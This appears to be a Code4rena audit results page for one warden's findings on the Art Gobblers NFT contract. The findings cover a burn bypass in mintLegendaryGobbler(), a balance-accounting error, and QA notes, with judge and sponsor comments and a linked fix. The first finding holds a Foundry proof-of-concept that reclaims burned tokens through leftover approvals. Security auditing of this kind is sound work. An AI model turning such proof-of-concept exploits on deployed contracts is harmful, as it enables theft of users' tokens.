Platform: Code4rena
Start Date: 20/09/2022
Pot Size: $100,000 USDC
Total HM: 4
Participants: 109
Period: 7 days
Judge: GalloDaSballo
Id: 163
League: ETH
Rank: 5/109
Findings: 3
Award: $5,520.95
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: philogy
Also found by: KIntern_NA, auditor0517, bin2chen, cccz, hansfriese, hyh, ladboy233, m9800, pauliax, pedroais, ronnyx2017, wagmi, wastewa, zzykxx
1858.2053 USDC - $1,858.21
In ArtGobblers.mintLegendaryGobbler()
function, it mints a legendary gobbler by burning multiple standard gobblers. But instead of call _burn()
, it just set getGobblerData[id].owner = address(0)
.
All the data of the standard gobbler will stay the same, included getApproved[id]
. So an user can approve their standard gobblers to another wallet before minting legendary gobbler. After that, he can call transferFrom()
from other wallet to get all these gobblers back.
The result is users can mint legendary gobbler without losing any standard gobblers.
Script modified from testMintLegendaryGobbler()
function testMintLegendaryGobbler() public { uint256 startTime = block.timestamp + 30 days; vm.warp(startTime); // Mint full interval to kick off first auction. mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL()); uint256 exploitId = 2; vm.prank(users[0]); gobblers.approve(users[1], exploitId); uint256 cost = gobblers.legendaryGobblerPrice(); assertEq(cost, 69); setRandomnessAndReveal(cost, "seed"); uint256 emissionMultipleSum; for (uint256 curId = 1; curId <= cost; curId++) { ids.push(curId); assertEq(gobblers.ownerOf(curId), users[0]); emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId); } assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum); vm.prank(users[0]); uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids); // Legendary is owned by user. assertEq(gobblers.ownerOf(mintedLegendaryId), users[0]); assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum * 2); assertEq(gobblers.getGobblerEmissionMultiple(mintedLegendaryId), emissionMultipleSum * 2); vm.prank(users[1]); gobblers.transferFrom(address(0), users[1], exploitId); for (uint256 i = 0; i < ids.length; i++) { hevm.expectRevert("NOT_MINTED"); gobblers.ownerOf(ids[i]); } }
Foundry
Consider adding _burn()
function to burn standard gobblers.
#0 - Shungy
2022-09-27T17:36:35Z
#1 - GalloDaSballo
2022-10-02T14:11:50Z
🌟 Selected for report: wagmi
Also found by: 0x52, CertoraInc, Lambda, RaymondFam, arcoun
3607.5423 USDC - $3,607.54
In ArtGobblers.mintLegendaryGobbler()
function, line 458 calculates the number of gobblers user owned after minting
// We subtract the amount of gobblers burned, and then add 1 to factor in the new legendary. getUserData[msg.sender].gobblersOwned = uint32(getUserData[msg.sender].gobblersOwned - cost + 1);
It added 1 to factor in the new legendary. But actually, this new legendary is accounted in _mint()
function already
function _mint(address to, uint256 id) internal { // Does not check if the token was already minted or the recipient is address(0) // because ArtGobblers.sol manages its ids in such a way that it ensures it won't // double mint and will only mint to safe addresses or msg.sender who cannot be zero. unchecked { ++getUserData[to].gobblersOwned; } getGobblerData[id].owner = to; emit Transfer(address(0), to, id); }
So the result is gobblersOwned
is updated incorrectly. And balanceOf()
will return wrong value.
Script modified from testMintLegendaryGobbler()
function testMintLegendaryGobbler() public { uint256 startTime = block.timestamp + 30 days; vm.warp(startTime); // Mint full interval to kick off first auction. mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL()); uint256 cost = gobblers.legendaryGobblerPrice(); assertEq(cost, 69); setRandomnessAndReveal(cost, "seed"); uint256 emissionMultipleSum; for (uint256 curId = 1; curId <= cost; curId++) { ids.push(curId); assertEq(gobblers.ownerOf(curId), users[0]); emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId); } assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum); uint256 beforeSupply = gobblers.balanceOf(users[0]); vm.prank(users[0]); uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids); // Check balance assertEq(gobblers.balanceOf(users[0]), beforeSupply - cost + 1); }
Foundry
Consider remove adding 1 when calculating gobblersOwned
getUserData[msg.sender].gobblersOwned = uint32(getUserData[msg.sender].gobblersOwned - cost);
#0 - Shungy
2022-09-28T11:07:55Z
Great catch. I think the severity is definitely justified.
#1 - transmissions11
2022-10-01T07:22:23Z
great find!
#2 - FrankieIsLost
2022-10-05T21:27:16Z
Good find, fixed here: https://github.com/artgobblers/art-gobblers/pull/153
#3 - GalloDaSballo
2022-10-08T20:46:54Z
The warden has demonstrated an accounting issue in the system, the Sponsor has mitigated.
Because the finding is valid and the behaviour shown diverges from the intended one, without a severe risk of loss, I agree with Medium Severity
🌟 Selected for report: IllIllI
Also found by: 0x1f8b, 0x4non, 0x52, 0x5rings, 0xNazgul, 0xRobocop, 0xSmartContract, 0xdeadbeef, 0xsanson, 8olidity, Amithuddar, Aymen0909, B2, B353N, CertoraInc, Ch_301, Chom, CodingNameKiki, Deivitto, ElKu, Funen, JC, JohnnyTime, Kresh, Lambda, Noah3o6, RaymondFam, ReyAdmirado, RockingMiles, Rolezn, Sm4rty, SuldaanBeegsi, Tadashi, TomJ, Tomio, V_B, Waze, __141345__, a12jmx, ak1, arcoun, asutorufos, aviggiano, berndartmueller, bharg4v, bin2chen, brgltd, bulej93, c3phas, catchup, cccz, ch0bu, cryptonue, cryptphi, csanuragjain, delfin454000, devtooligan, djxploit, durianSausage, eighty, erictee, exd0tpy, fatherOfBlocks, giovannidisiena, hansfriese, ignacio, joestakey, ladboy233, lukris02, m9800, malinariy, martin, minhtrng, obront, oyc_109, pedr02b2, pedroais, pfapostol, philogy, prasantgupta52, rbserver, ronnyx2017, rotcivegaf, rvierdiiev, sach1r0, shung, simon135, throttle, tnevler, tonisives, wagmi, yixxas, zkhorse, zzykxx, zzzitron
55.1985 USDC - $55.20
Id | Title |
---|---|
1 | TokenURI should revert for burned gobblers |
2 | Art in Gobbler is lost after using to mint legendary gobbler |
In ArtGobblers.tokenURI()
function, it checks for various cases but still return values for burned gobblers.
Consider revert or return empty string in tokenURI()
in case gobbler is burned .
Arts that is fed to a standard gobbler through gobble()
is lost when this gobbler is used to mint legendary gobbler.
In case legendary gobbler is minted, these arts should also be transferred to this new gobler. If art is a valuable NFT (CryptoPunk), this is a huge loss.
Consider adding a mechanism to allow users move arts from standard gobblers to new legendary gobbler gradually.
#0 - GalloDaSballo
2022-10-06T19:25:50Z
Disagree as you'd still want to see them
NC
1NC